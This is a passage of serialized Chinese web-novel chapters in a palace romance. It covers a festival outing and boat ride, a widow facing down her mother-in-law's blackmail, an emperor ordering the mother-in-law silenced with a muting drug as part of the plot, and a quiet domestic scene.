“呀!”棠姐儿惊呼一声,下意识抱住了姜玄的头顶,随即视野豁然开朗!方才阻挡视线的层层人墙,此刻全都变成了黑压压的头顶,场子中央那只机灵的小猴子和耍猴人滑稽的动作,清清楚楚地呈现在眼前。 薛嘉言在一旁看得心惊,下意识想阻,可她见姜玄眉眼含笑,毫无半分勉强或不耐。她到嘴边的话,便咽了回去。罢了,他高兴,棠姐儿也高兴。 棠姐儿起初还有些紧张,紧紧抱着“戚伯伯”的头,但很快就被精彩的猴戏吸引,看得入了迷。那小猴子会作揖、会敲锣、还会推着小车翻跟头,引得她咯咯直笑,情不自禁地拍起手来,身体也跟着晃动。 “棠姐儿,坐稳些,当心。”姜玄连忙扶稳她,低声叮嘱。 一场猴戏演完,耍猴人捧着铜锣绕场讨赏,姜玄示意随从给了些散钱。人群渐渐散去,姜玄才小心翼翼地将意犹未尽的棠姐儿从肩上抱下来。 棠姐儿双脚落地,小脸兴奋地红扑扑的,立刻转身拉住薛嘉言的手,叽叽喳喳地说起来:“娘亲!娘亲你看到了吗?那小猴子好聪明!它会推车!还会戴帽子!戚伯伯让我看得清清楚楚!”她比画着,脸上全是灿烂的的笑容,眼睛里闪着光。 薛嘉言看着女儿如此开怀的模样,听着她口中“戚伯伯”自然而亲昵的称呼,心中却蓦地一酸。她的棠姐儿,在戚家何曾有过这般待遇? 她压下鼻间的酸意,笑着摸了摸女儿的头:“棠姐儿高兴就好。” 几人又随着人流慢慢走动,穿过几条挂满花灯的街巷,最后来到了一处临河的酒楼前。这酒楼不算气派,门面普通,进出的也多是些寻常商旅或中等人家。 为了与身上穿的棉布衣裳相配,姜玄没有让张鸿宝去臻楼定雅间,而是寻了这么一处干净稳妥的普通酒楼,包下了二楼一间临河视野不错的雅室。 雅室陈设简单,但窗明几净,推开窗户,便能看见汴河上星星点点的游船灯火,与对岸连绵的灯市相映成趣。桌上已摆好了几样时令果品、点心和温好的酒水。 逛了这大半晌,大家都有些饿了。跟着的司雨等人手上还拎着不少沿路买的小吃:热气腾腾的蟹壳黄烧饼、撒着芝麻的酥油饼、油纸包着的卤汁豆干……棠姐儿眼睛一亮,立刻凑到桌边,拿起一块还温软的桂花糖糕,小口小口地吃得香甜。 薛嘉言的目光则被桌上那盘硕大饱满的石榴吸引。她素喜石榴清甜多汁的滋味,但此刻却有些踌躇——剥石榴难免汁水淋漓,容易弄脏手指和衣裳,在这外头不甚方便。她正想唤司雨过来,拿去请店家帮忙切开处理。 却见旁边伸过一只指节修长的手,自然而然地将那盘石榴端了过去。 姜玄拿起一个石榴,在手中掂了掂,然后双手握住,拇指抵在石榴顶端,稍一用力,只听“咔”的一声轻响,饱满的石榴便应声裂开,露出里面晶莹剔透、排列紧密如红宝石般的籽实。 他低下头,耐心细致地,一点点将那紧密的石榴籽从白色的隔膜上剥离下来。 不过片刻,一小堆剥得干干净净、粒粒饱满完整的石榴籽,便盛在了一个白瓷小碟里,红艳艳的,像一捧碎钻。 他将小碟轻轻推到薛嘉言面前,抬起眼,唇角上扬,用着方才巷口初见的那个称呼打趣道:“薛家妹妹,吃吧。哥哥给你剥好了。” 薛嘉言看着眼前这碟剥得干干净净的石榴籽,再看他那副俨然以“兄长”自居、眼中却闪着促狭光芒的模样,心头又是甜软又是好笑。趁司雨低头给棠姐儿擦手、其他人视线未及的瞬间,她飞快地抬眸,冲着姜玄的方向,没好气地白了一眼。 姜玄将她这难得的小女儿情态尽收眼底,心头像被羽毛轻轻搔过,痒丝丝的,愉悦几乎要从眼底满溢出来。他忍不住低笑出声,那笑声闷在胸腔里,带着磁性,连那两撇故作老成的胡子,都似乎染上了欢欣。 棠姐儿到底年纪小,精力有限,又逛又看,还吃了不少零嘴,没歇多久,小脑袋就开始一点一点,忍不住打起了瞌睡。薛嘉言见她实在困倦,便示意司雨将已经迷迷糊糊的棠姐儿先坐马车送回家去。 棠姐儿走后,姜玄自然地牵起她的手,十指相扣:“走,咱们再逛逛。” 此时已近亥时,街上的游人比方才少了一些,却依旧热闹。许多灯摊开始收拾,但那些大型的灯楼、挂在树梢檐角的各色灯笼,依旧明亮如昼。两人携手,沿着汴河岸边缓缓而行,夜风带了水汽,吹在脸上微微的凉,却吹不散掌心交融的暖意。 看着眼前依旧璀璨的灯河,感受着身侧人真实的存在,姜玄只觉得胸腔里有一种前所未有的的满足感唇角不自觉地上扬。 河面上,大小不一的游船飘摇着,点点灯火倒映在墨绸般的水面上,随着涟漪荡漾,碎成一片流动的星海。 姜玄侧头对薛嘉言道:“薛家妹妹,你看河上风光甚好,要不要……也去乘船游一游?” 薛嘉言闻言,睨了他一眼,不轻不重地在他胳膊上掐了一把,嗔道:“没完了是吧?你还真把自己当哥哥了?” 姜玄反而顺势将她拉近了些,低下头,在她耳边用只有两人能听见的声音戏谑道:“怎么,不想让我做哥哥?”他刻意顿了顿,气息温热,“那……言言想让我做什么?嗯?” 薛嘉言面纱下的脸颊倏地一热,好在有遮挡。她瞪了他一眼,可惜眸中水光潋滟,那一眼实在没什么威慑力,反倒像是娇嗔。 姜玄低笑出声,不再逗她,抬臂朝着河边某处不起眼的阴影里招了招手。 很快,一艘中等大小、外观朴素却打理得十分洁净的乌篷船,便轻轻巧巧地靠了岸 第216章 重蹈覆辙 原来姜玄早已安排妥当。 两人相视一笑,携手登船。船夫竹篙一点,小船便如离弦之箭,轻盈地滑入河道中央,朝着与最繁华灯市相反、相对幽静的河段驶去。 岸上的喧嚣与光影渐渐被抛在身后,水声潺潺,愈发清晰。 船行平稳,姜玄引着薛嘉言在船头甲板早已备好的两张躺椅上并肩半躺下来。躺椅铺着厚实的锦褥,十分舒适。 夜空如洗,一轮圆满皎洁的明月高悬,清辉洒落,将河面镀上一层流动的银辉。远处城市的灯火成了模糊的光晕,近处只有水波荡漾的微光和他们船上的一盏气死风灯,光线柔和。 天地仿佛忽然变得广阔而宁静,只剩下他们二人,和这一船随波荡漾的静谧。 两人谁也没有说话,静静地躺在甲板尾部的躺椅上,看着天上那轮明月,听着彼此轻缓的呼吸和水流的絮语。 过了许久,姜玄轻轻叹息一声,那叹息里却满是餍足与欢喜。他握紧了薛嘉言的手,低声开口:“言言,我今晚……真开心。” 他顿了顿,似乎在想如何形容,“这是我记忆里,过得最开心的一个中秋节。” 薛嘉言心中同样涨满了温软的感动。她侧过头,在月光下看着他明亮的眼睛,柔声道:“我也很开心。” 姜玄转过头,与她对视。月光落进彼此的眸中,映出清晰的情意与依恋。他抬起另一只手,轻轻抚上她的脸颊,拇指温柔地摩挲着她的肌肤。 小船悠悠,载着一船清辉,与两颗紧密相依的心,在汴河温柔的怀抱里,缓缓漂向夜色深处。 第二日,天还只是蒙蒙亮,戚家角门处传来极轻微的敲门,守门的婆子开了门,一个穿着藕荷色衫子、发髻微乱的身影鬼鬼祟祟地侧身闪了进来,正是戚倩蓉。 她急促地喘了两口气,抬手拢了拢有些松散的发髻,又紧张地四下张望。偌大的庭院里静悄悄的,仆役们尚未开始洒扫,只有早起的雀鸟在檐下啁啾。确认无人,她才松了口气,提起裙摆,踮着脚尖,像只受惊的兔子般,飞快地朝自己居住的院落跑去。 谁知,戚倩蓉刚踏进自己院子的月洞门,还没来得及平复呼吸,守在屋门口的贴身丫鬟便焦急地朝她使眼色,嘴巴无声地张合,看口型是“老太太”。 戚倩蓉心里“咯噔”一下,暗道糟糕。她硬着头皮,磨磨蹭蹭地走到正屋门口,深吸一口气,才推门进去。 屋内光线昏暗,栾氏端坐在正中的椅子上,脸色铁青。 “孽障!”栾氏见女儿这副做贼心虚的模样,积攒了一夜的怒火腾地烧起,猛地一拍桌子,厉声喝道,“你一夜未归,跑到哪里去了?!” 戚倩蓉吓得一哆嗦,慌慌张张地反手将门关上,期期艾艾地挪到母亲跟前,低着头,手指绞着衣带,声如蚊蚋:“娘……我、我没去哪……就是……就是魏世子,他带我去听戏了……后来太晚,就没回来……” “听戏?”栾氏气得胸口剧烈起伏,猛地站起身,伸手用力拧了戚倩蓉胳膊一下,恨铁不成钢地低骂道,“你怎么这么不长记性!又去找他!他要是真有心,哪怕只是把你纳进府里做个妾,也该正正经经寻个媒人来家里说和!哪有这样不清不楚,与你私相授受、夜不归宿的?你还要不要脸面了!” 戚倩蓉吃痛,却不敢躲,只红着脸辩解:“他说……他说我还没出孝呢,现在提亲不合礼数。等我出了孝,就、就遣人来……” “呸!”栾氏啐了一口,眼神更加锐利,“你昨夜……是不是又跟他睡在一处了?” 戚倩蓉的脸顿时涨成了猪肝色,咬着嘴唇不说话,默认了。 栾氏只觉得一股血气直冲头顶,眼前发黑。她指着女儿,手指都在发抖:“你……你个傻子!你又白白给他占了身子!他把你当什么了?外头那些不花钱的粉头吗?你这样轻贱自己,他怎么会把你当回事!” “娘!”戚倩蓉被说得又羞又恼,忍不住提高了声音,“魏世子他不是那种人!他……他都瘦了,说这阵子见不到我,他也很煎熬。我们家接连有丧事,他才没敢上门来寻我,怕给家里添晦气……” “你还知道咱们家有丧事!”栾氏气得打断她,“他不能来提亲,却能跟你睡觉?这是什么道理!我看他是把你摸透了,知道你傻,好骗!” “那我能怎么办!”戚倩蓉也来了脾气,带着哭腔道,“我都已经是他的人了,除了他,我还能嫁给谁?” 看着女儿这副执迷不悟、还沉浸在自己编织的美梦里的样子,栾氏心头的怒火渐渐被一种深重的无力感和悲凉取代。她到底是活了几十年的人,比戚倩蓉看得透。 从前,儿子还在世,是正经的进士出身,五品京官,戚家也算体面。那时候,女儿想进云阳伯府,哪怕做不成正室夫人,凭家世相貌,做个有头有脸的良妾,并非全无可能。 可如今呢?儿子暴毙,家道肉眼可见的败落,全靠儿媳一个寡妇撑着门面。女儿的身子……上次小产伤了根本,大夫隐晦提过恐难再有孕。这些,那魏世子能不知道?他如今还肯敷衍女儿,无非是图她年轻,还有些颜色,又不用担心弄出“麻烦”,这才哄着她玩罢了。 栾氏心知,女儿现在被那点虚情假意和幻想蒙住了眼,一时半会儿是说不通的。硬逼着她断了,她只怕会闹得更凶,做出更不堪的事来。为今之计,只能先稳住她,再另做打算。 她疲惫地闭了闭眼,当务之急,是给女儿多攒些私房钱。等孝期一满,哪怕豁出这张老脸,舍出一笔假装,尽快寻个贫寒但老实本分的读书人,把女儿远远地嫁过去。有了正经夫家,断了她的念想,或许还能保后半生安稳。 至于钱财从哪里来……栾氏的目光,不由自主地投向了春和院的方向。 第217章 喜欢戚伯伯 打定主意,栾氏不再与戚倩蓉多费口舌,只沉着脸道:“你给我在屋里好好反省!没我的允许,不许再出去!”说罢,也不看女儿泫然欲泣的表情,转身出了屋子。 戚倩蓉看着母亲离去的背影,委屈地撇了撇嘴,心里却并不十分害怕。她觉得娘亲只是太过古板,不理解她和魏世子之间“的感情,早晚她会让娘亲知道的。 栾氏从女儿院里出来,定了定神,便朝着薛嘉言所居的春和院走去。 春和院东厢房内,却是另一番温馨景象。 晨光透过窗纱,柔和地洒在室内。棠姐儿从梦中醒来,迷迷糊糊地揉了揉眼睛,小手无意识地摸到胸前戴着玉兔。昨晚灯会上的一切,如同色彩斑斓的画卷,在脑海中缓缓展开。璀璨的灯火,香甜的吃食,热闹的猴戏,还有那个让她骑在脖子上、给她买糖人、温和含笑的“戚伯伯”。 她眨巴着还带着睡意的大眼睛,看向母亲,声音软糯地问:“娘,戚伯伯呢?他回家了吗?” 薛嘉言微微一笑,语气寻常:“是啊,栖伯伯有自己的家,有自己的事情要忙,自然回去了。” 棠姐儿“哦”了一声,小脸上流露出显而易见的失落。 薛嘉言心中微动,将女儿揽到怀里,轻声问:“棠姐儿喜欢栖伯伯?” 棠姐儿立刻用力点头,仰起脸,眼睛亮晶晶的:“嗯!喜欢!他个子好高好高,我骑在他脖子上,能看那么——远!” 她夸张地张开手臂比画着,“我从来没看过那么远的地方!他还给我小兔兔,给我买糖人,还剥石榴籽给娘亲……” 她掰着手指头数着“戚伯伯”的好,小脸上满是纯然的欢喜。 薛嘉言听着,心中五味杂陈,她抚摸着女儿的头发,柔声道:“那下次若有机会,娘再请栖伯伯来,带棠姐儿玩,好不好?” “好!”棠姐儿立刻高兴起来,脆生生应道。 薛嘉言看着她开心的样子,犹豫了一下,还是俯身,用认真又轻柔的语气叮嘱道:“不过棠姐儿要记住,栖伯伯……他不喜欢跟太多人交往,也不喜欢被别人知道他的事情。所以,这是咱们和栖伯伯之间的小秘密,棠姐儿平时不要跟任何人提起栖伯伯,哪怕是外祖母、郭姨母,或者院子里其他姐姐,都不能说,知道吗?” 棠姐儿虽然不太明白为什么,但她素来乖巧,尤其是母亲用这么认真的语气说话时。她点点头,郑重地答应:“知道了,娘。我不说,这是我和娘亲,还有戚伯伯的秘密。” “真乖。”薛嘉言亲了亲女儿的额头,心中稍安。 就在这时,春桃轻轻敲了敲门,进来禀报:“主子,老太太过来了,说想看看宁哥儿。” 薛嘉言闻言,不易察觉地蹙了蹙眉。她心下有些不耐,但也知道,于情于理,自己确实不好一直拒绝栾氏这个“祖母”看望“孙子”的请求。毕竟在明面上,她们还是一家人。 略一沉吟,薛嘉言点了点头,对春桃道:“请老太太去西厢稍坐,让奶娘把宁儿抱过来。” 薛嘉言步入西厢时,栾氏正半弯着腰,凑在奶娘身边,脸上堆着一种近乎夸张的笑容,眼睛一眨不眨地盯着襁褓中的孩子。她甚至还伸出手指,轻轻戳了戳宁哥儿肉嘟嘟、白嫩嫩的脸蛋头。 “哎哟哟,瞧这小模样,长得真是俊,天庭饱满,地阁方圆,一看就是有福气的!”栾氏直起身,啧啧称赞了一句。随即,她转向薛嘉言说道:“不过说起来,原来叫‘阿满’不是挺好的?听着也喜庆顺口。怎么好端端的,又改叫‘宁哥儿’了?我听着,还是‘阿满’更好听些。” 薛嘉言随口敷衍道:“请了高人给算的,说适合他。” 栾氏本就是没话找话,闻言“哦”了一声,讪讪地不再追问名字的事。她眼珠子转了转,目光从宁哥儿身上移开,落到薛嘉言脸上,搓了搓手,脸上挤出一丝笑,语气也变得有些吞吐:“那个……少亭家的,娘……有件事,想跟你商量商量。” 薛嘉言心中了然,果然不止是来看孩子。她微微颔首,不动声色地吩咐奶娘:“先抱哥儿回出去吧,仔细别吹了风。” 奶娘应声退下,屋内只剩下她们二人。栾氏起身走到门边,亲自将门关严实了,这才返回椅子上坐好。 “少亭家的,”栾氏清了清嗓子,“你看,这都入秋了,天儿说凉就凉。倩蓉那孩子,去年的秋衣都有些旧了,我想着……给她添置两身像样的新衣裳,料子也不用顶好,过得去就成。哦,还有棠姐儿,孩子长得快,也该备着了。” 她顿了顿,观察着薛嘉言的神色,见对方没什么反应,便继续道:“还有一件要紧事……你公公和少亭他们走得急,我心里总是惦记着。想着趁这秋天,去城外香火旺些的寺庙,给他们父子多做几场隆重点的法事,请高僧好好诵经超度,也好让他们在那边少受些苦,早日往生极乐。这也是咱们做家人的一点心意不是?” 铺垫了这么一堆,最后才是重点。栾氏舔了舔有些干涩的嘴唇,终于说出了那个数字:“所以……你看看,能不能给我支些银子?也不用太多,就……五百两,应该够了。” “五百两”这三个字从她嘴里吐出来,连她自己都觉得有些底气不足,声音不自觉地放轻了,眼神也飘忽着不敢直视薛嘉言。 薛嘉言静静地听着,直到她说完,才轻轻牵了牵嘴角 “娘,”她开口,声音平稳,听不出喜怒,“您不愧是鸿胪寺丞的亲娘啊。一张口,就是五百两。可我记得,您儿子从上任到……到最后,朝廷发下来的俸禄,统共加起来,怕是连五十两都不到吧?” 栾氏的脸色瞬间变得精彩纷呈,青了红,红了又白。一股羞恼冲上头顶,可一想到自己的目的,又不得不将那口气强行咽下去。 第218章 拿捏不了 栾氏深吸一口气,努力让脸上的笑容不那么僵硬,放软了语气,甚至带上了一丝可怜:“少亭家的,你这话说的……咱们这样的人家,哪里真指望得上爷们那点死俸禄过日子?况且……况且少亭他也不在了,娘一个妇道人家,无依无靠的,眼下不还得指望着你,指望着这个家吗?” 薛嘉言却仿佛没听懂她话里的暗示与哀求,神色没有丝毫松动,只淡淡地、斩钉截铁地吐出两个字:“没有。” 她直接道:“天气眼见着冷了,南北商路也不太平,粮食、布匹这些过冬的物资都要抓紧采买囤积,正是用钱的时候。我手上,没有闲钱。” 栾氏的耐心终于告罄,喘了两口粗气,道:“薛氏,你别以为我不知道!你手里会没有银子?你攀上的那个……那个野男人!人家那样的身份,总不能白跟你相好!手指缝里漏一点,也够我们嚼用许久了!你可还是戚家的儿媳,连这点银子都舍不得拿出来孝敬婆母,接济小姑?你的良心呢!” 栾氏打得一手好算盘。在她看来,薛嘉言好歹是官宦人家出身,又年轻守寡,与人有私情乃是天大的丑事,一旦被揭破,必定羞愧难当,惊慌失措。自己以此为把柄要挟,她为了保住名声,定会乖乖拿银子出来封口,甚至以后都得对自己言听计从。 然而,她预想中的惊慌、羞愤、甚至哀求,一样都没有出现。 薛嘉言依旧稳稳地坐在那里,甚至连坐姿都没有改变一下。她脸上的表情平静得近乎漠然,那双清亮的眸子静静地看着栾氏,看着她因为激动而涨红的脸。 栾氏被她看得心里一阵阵发毛,嘴唇哆嗦着不知还能再说些什么。 薛嘉言自然从未指望能长久瞒住同在一个屋檐下的栾氏。如同前世一样,被她发现,是早晚的事。 一个见识短浅、自私怯懦的内宅妇人,知道了又能如何? 薛嘉言闻言,不仅未露丝毫惧色,反而轻轻向后靠了靠椅背,唇角勾起一抹弧度,云淡风轻地睨着栾氏的脸。 “我不给,你待如何?”她声音不高,带着一种猫捉老鼠般的戏谑,“去报官?告我与人私通?” 薛嘉言轻轻笑了一声,笑声里满是毫不掩饰的嘲讽:“好啊,快去。这家里有搞破鞋搞到被千刀万剐的老爷,有孝期未满就敢肖想攀龙附凤的大爷,还有未婚先孕、如今还夜奔伯府世子床榻的小姑子,再来个与人通奸的儿媳,也算四角俱全,是不是?” “你……你!”栾氏被她这连珠炮似的揭底,轰得头晕目眩,面色惨白如纸,指着薛嘉言的手抖得厉害,喉咙里咯咯作响,却一个字也反驳不出。 薛嘉言欣赏着她的崩溃,缓缓坐直身子,语气陡然转冷,带着居高临下的睥睨: “您也活了大半辈子,黄土埋到脖子的人了,怎么就还看不明白呢?”她目光如寒潭,深不见底,“这个‘戚家’,现在靠谁撑着?是谁的银子养着这一屋子人?是我!” 她一字一顿,砸在栾氏心上: “我若好好的,你们还能在这宅子里,穿着绫罗绸缎,吃着山珍海味。我若没了,或是烦了……” 她故意顿了顿才又道:“你,和你的女儿,就等着收拾包袱,滚回通州老家那漏雨的祖屋去吧。到时候,别说五百两,五个铜板,你都别想再从我这儿抠出去。吃我的,喝我的,靠我养着,还妄想拿捏我?谁给你的胆子,嗯?” 栾氏原本以为薛嘉言好歹也算是官宦人家出身,嫁过来后一直循规蹈矩,肯定是要脸面的,会被“通奸”二字吓住,却万万没料到她竟如此不要脸。 “回……回通州就回通州!总不能……总不能让你不守妇道,败坏门风……”栾氏色厉内荏地喝了一句。 “门风?!”薛嘉言仿佛听到了天大的笑话,忍不住仰头哈哈笑起来,笑声清越却寒意森森。笑罢,她猛地收声,眼神锐利如刀看向栾氏: “你也配提‘门风’二字?就你们戚家这一窝烂泥扶不上墙的货色,从上到下,从里到外,早就烂透了!” 她步步紧逼,挑着栾氏的伤疤狠狠撕开: “你那早死的废物夫君,对你非打即骂,拿你当粗使婆子都不如。他跟王寡妇胡搞,被你撞见,当着众人的面打你,你怎么不跟他横啊?在我这里倒是抖起威风了?” “没有我的嫁妆、我的院子,你现在在哪儿?怕不是还在大杂院里,顶着风吹日晒,给人浆洗衣裳,赚那三五个铜板活命吧!” 栾氏被她骂得眼前阵阵发黑。眼前的薛嘉言,眉眼还是那个眉眼,气质却凌厉得让她浑身发冷,陌生得可怕。 薛嘉言看着她彻底灰败下去的脸色,知道火候已到。她敛去所有情绪,只剩下冰冷的最后通牒: “听清楚了,我只说一次。” “你,和你那女儿,从此安分守己,夹着尾巴做人。我心情好,或许还能容你们在这宅子里,继续过着‘好日子’。” 她压低的嗓音带着森然的警告: “若再敢作妖,再敢来我跟前说一句不该说的、要一文不该要的……” 她没有说完,但那未尽之言里的寒意,比任何具体的威胁都更让栾氏胆战心惊。 “你走吧,以后少来烦我。”薛嘉言摆摆手,不耐烦地蹙着眉道。 栾氏面如土色她望着薛嘉言的背影消失在门帘后,耳畔还嗡嗡回响着那些刻薄至极、却又句句属实的话语。 这时候,她才终于醍醐灌顶般意识到——眼前这个女人,跟她认知里其他女人不一样。 女人都是在乎名节的,生怕行差踏错,被人戳脊梁骨。她们可以被“不守妇道、败坏门风”这样的罪名轻易拿捏,为了那层虚无缥缈的好名声忍气吞声,甚至牺牲所有。 可薛嘉言看着并不在乎名声。 一个连名声都不在乎的女人,你还能用什么来威胁她、拿捏她?栾氏搜肠刮肚,却发现只剩下绝望。 第219章 已有心上人 栾氏终于醒悟过来,声音嘶哑颤抖,带着前所未有的卑微:“少亭家的……刚才是娘老糊涂了,说错话了!你千万别往心里去!咱们……咱们总归是一家人啊!打断骨头还连着筋呢!咱们还有宁哥儿,他可是戚家的血脉,是少亭的儿子!咱们总得把这个家撑下去,为了孩子,是不是?” 她觑着薛嘉言依旧冰冷的脸庞,连忙赌咒发誓:“你放心!往后……往后你不给的,我绝不要!我一个铜板都不多要!我保证!倩蓉那边我也会管好,绝不让她再惹是生非!咱们关起门来,好好过日子,行不行?” 薛嘉言听着这卑微到尘埃里的哀求,觉得荒谬得想笑。 她想起前世,同样是这个栾氏,在她被污名所困、挣扎求生时,是如何拿着“名声、贞洁”这些大帽子,咒骂她不知廉耻,丢了戚家的脸,恨不得将她沉塘的。 如今呢?当生存都成问题,什么名声,什么贞洁,全都成了可以随时丢弃的东西。 原来,这些道貌岸然的东西,不过是吃饱喝足闲着没事时,用来辖制弱者的工具罢了。 薛嘉言是可以直接捏死栾氏的,就像捏死一只嗡嗡叫的苍蝇。栾氏本身,没什么能耐能真正威胁到她,薛嘉言想着戚家死人太频繁总归会引人注意,便想着先放栾氏一条生路。 拾英思来想去,还是将今日栾氏的威胁之语,连同薛嘉言如何反击,一五一十密报给了张鸿宝。 消息很快递到了姜玄面前。 紫宸殿内,姜玄听完张鸿宝的低声禀报,面上并无太大波澜,眼神却骤然冷了下来,如同凝了寒冰。他放下手中的朱笔,让人把苗菁叫来。 苗菁很快应召而至,躬身听命。 姜玄没有提及前因后果,只冷声吩咐:“戚家那个老妇,聒噪得很。去让她闭嘴,别在外面胡说八道,污了人耳朵。” 苗菁略一思忖,便道:“陛下,戚家一年之内已连丧两丁,若再暴毙一人,恐过于惹眼,引人疑窦。属下倒有一法,可让她从此不能再言语。那老妇本就不识字,所知之事,往后也只能烂在肚子里,死不死的也没什么要紧了。” 姜玄抬眼看了看他,微微颔首:“可行。你去办吧。” “臣遵旨。”苗菁拱手,利落应下,转身退出紫宸殿。 殿外阳光正好,苗菁刚步下玉阶,迎面便见晖善长公主正迤逦行来。 晖善长公主今日穿着一袭紫红色宫装,金线绣着繁复的翟纹,头戴九翚四凤冠,步伐不疾不徐,通身散发着一种凌厉逼人的富贵气度,与这华丽的宫城相得益彰。 “苗大人,好久不见啊。”长公主在几步外停下,挑眉看向苗菁,唇角弯起一个似笑非笑的弧度。 苗菁神色不变,恭敬地躬身行礼:“臣苗菁,参见长公主殿下。”起身后,他并不多言,只道,“长公主来寻陛下,想必是有要务。下官不便耽搁,就此告辞。” 说罢,他后退两步,侧身让开道路,随即转身,步履平稳地朝着宫门方向走去,背影很快消失在宫墙转角。 晖善长公主站在原地,看着他有些“避之唯恐不及”的背影,非但不恼,反而轻轻笑了笑,眼中兴味更浓。她看着苗菁越走越远,这才整理了一下衣袖,迈步进入了紫宸殿。 殿内,姜玄已命人搬来了绣墩。姐弟二人寒暄几句后,长公主便切入正题,神色也严肃了几分:“陛下,阿姊封地那边,近来不太平。庄稼田附近,近来总有一群形迹可疑之人鬼鬼祟祟地探访窥视。阿姊的人留心盯了一段时日,前几日设了个套,将人拿下了。一审,竟不是咱们大兖的人,而是从苗疆来的。” 她顿了顿,观察着姜玄的神色,继续道:“按理说,苗疆部族素来偏安一隅,极少主动涉足中原事务。阿姊觉得此事蹊跷,怕其中牵扯甚大,便未声张,只悄悄将那几人押解来了京城,眼下就关在公主府的地窖里,等候陛下发落。” 姜玄眉心几不可察地蹙了一下,他很快恢复平静,点头道:“阿姊思虑周全,处理得极好。朕稍后便让苗菁去公主府,将人提走,仔细审问。” “嗯。”晖善长公主应了,正事说完,她却没急着起身告辞,反而端起内侍新奉上的茶,慢悠悠呷了一口,抬眼看向姜玄,忽然转了话题,问道:“陛下,阿姊有件事,不知当问不当问。” 姜玄看着她:“皇姐但说无妨。” “苗菁苗大人,不知……可曾婚配?”长公主放下茶盏,“若尚无家室,阿姊倒是想替他保一桩媒。” 姜玄知道这位皇姐性情豪放不羁,于男女之事上向来洒脱,甚至有些离经叛道。她要给苗菁保媒,只怕目的不单纯。 姜玄神色未变,端起茶盏,语气平常地截断了长公主的话头:“苗菁么,他确实尚未婚配。” 长公主眼中刚亮起一丝光,便听皇帝接着道: “不过,他已有了心上人。只是时机未到,还在等着,说是等稳妥了,要请朕亲自为他指婚呢。” 姜玄倒也不是信口胡诌。前些时日,苗菁确实曾隐晦地向他提过,心中已有所属,待诸事安定,想求一个恩典,这也不是大事,姜玄当时便应允了。 晖善长公主闻言,脸上闪过一丝些微讶异。 她派人查过苗菁,此人生活堪称单调,除了办差便是回府,府中也无甚女眷,唯一长住的,便是那个寄居的寡妇郭晓芸。 难道……他还真把那个身份尴尬、一无所有的寡妇放在了心上,甚至到了想要明媒正娶的地步? 讶异过后,便是一丝不易察觉的兴味索然,以及淡淡的不以为然。既然皇帝都如此说了,她自然不好再强求什么。 晖善长公主洒脱一笑:“原来如此,那倒是阿姊唐突了。既已心有所属,便是良缘。陛下忙吧,阿姊告辞了。” 第220章 不想叫姐 苗菁出了宫,并未耽搁,径直回了北镇抚司。他召来心腹千户薄广,低声吩咐了几句:“去取一帖哑药,让戚家那个老太太再也说不出话,别留下什么把柄。” 薄广跟随他多年,深知其中关窍,并不多问,只肃然领命:“属下明白,定办得干净利落,不留首尾。” 苗菁点了点头,不再多言。处置一个内宅老妇,于北镇抚司而言,实在算不得什么大事。他此刻心中惦念的,却是另一件事。 明日便是重阳节了。京城风俗,此日需登高辟邪,赏菊饮酒,佩插茱萸。 路过酒坊时,苗菁特意下马,进去挑了两壶上好的菊花酒。行至街口,又看见常在那里摆摊卖山货的阿婆,篮子里放着新采的的吴茱萸,他停下脚步,买了几枝。 提着酒壶和茱萸,苗菁翻身上马,朝着府邸方向行去,冷峻的眉眼在秋日的阳光下,似乎柔和了那么一瞬。 苗家,郭晓芸正在灶下忙活。厨房里蒸汽氤氲,弥漫着米香。她挽着袖子,露出两截莹白的手腕,正低头仔细地将最后一层米粉铺在蒸笼里,上面点缀着洗净的红枣、栗子和核桃仁。灶膛里的火噼啪作响,映得她脸颊微红,额角沁出细密的汗珠。 听见熟悉的脚步声,她抬头看了看,见果然是苗菁来了,脸上漾开笑意:“你真有口福,重阳糕马上就出锅了。火再旺些,最后再蒸一盏茶的工夫就得了。” 苗菁将手中的两壶菊花酒和吴茱萸递给候在门口的下人,示意她们收好。他默默走到灶膛前,让烧火的荷花去做别的事,自己则在小凳上坐下,熟练地拿起火钳,拨弄了一下灶膛里的木柴,让火烧得更旺些。 跳跃的火光映着他沉静的侧脸,恍惚间,时光似乎倒流回了少年时候。 老宅里,阿娘病了,请隔壁的晓芸姐来帮忙。也是这样热气腾腾的厨房,晓芸姐在灶台前忙忙碌碌,他和弟弟围在炉灶边,眼巴巴地等着。弟弟调皮贪玩,坐不住,总是跑出去疯,添柴看火的,总是他。 那时候,晓芸姐总是会先拿一块刚出锅的点心,吹凉了递给他,说:“还是苗三弟最乖,来,尝尝。” “晓芸,”苗菁看着灶膛里熊熊燃烧的火焰,忽然开口,“明日咱们去登山吧。” 郭晓芸正拿着湿布擦拭蒸笼边缘,闻言手一顿,随即嗔道:“怎么又不叫姐了?没大没小的。” 苗菁抬起头,目光越过灶台,直直地看向她。火光在他深邃的眸子里跳跃,带着认真和执着:“不想叫姐。” 郭晓芸的心,毫无预兆地漏跳了一拍。他的目光太烫,烫得她脸颊瞬间更红,几乎要烧起来。她忙不迭地转过脸,假装去看蒸笼里的水汽,低低道:“越……越来越不像话了。” 苗菁看着她发红的耳根和故作镇定的侧影,心里像被羽毛轻轻搔过,又痒又软。 他默默算了算日子。还有五个月,整整五个月,晓芸才出孝期。 日子怎么过得这么慢?简直难熬。 “差不多了。”郭晓芸的声音打断了他的思绪。 她净了手,深吸一口气,掀开锅盖。一股更加浓郁的米香混合着果仁的香气扑面而来,白色的蒸汽滚滚而出。蒸笼里,雪白蓬松的重阳糕已然成型,点缀其间的红枣栗子如同镶嵌的宝石,格外诱人。 郭晓芸动作麻利地用筷子将蒸好的重阳糕一块块捡出来,放到旁边垫了干净笼布的竹筐里散热。挑了一块蒸得最完美、枣子最多的,用盘子托着,转身递给苗菁,脸上带着温柔的笑意,仿佛刚才那点旖旎的尴尬不曾存在:“喏,趁热吃,尝尝还是不是小时候的味道。” 苗菁接过,那糕点还烫手,散发着诱人的热气。他吹了吹,小心地咬了一口。米粉细腻绵软,带着天然的清甜,红枣的甘润、栗子的粉糯、核桃的酥香交织在一起,瞬间唤醒了记忆深处最温暖的味觉。 还是那个味道。这是他尝过无数珍馐,却永远也吃不腻、忘不了的味道。这是“家”的味道,是“晓芸”的味道。 他一边慢慢地吃着,一边抬起眼,看着站在灶台边,正用围裙擦手,脸颊还带着红晕的郭晓芸。火光和蒸汽柔和了她的轮廓,她垂着眼,长长的睫毛在眼下投出一小片阴影,专注而温柔。 苗菁喉结不自觉地滚动了一下,口腔里是糕点的甜,心里却涌上一股更炽热的渴求。 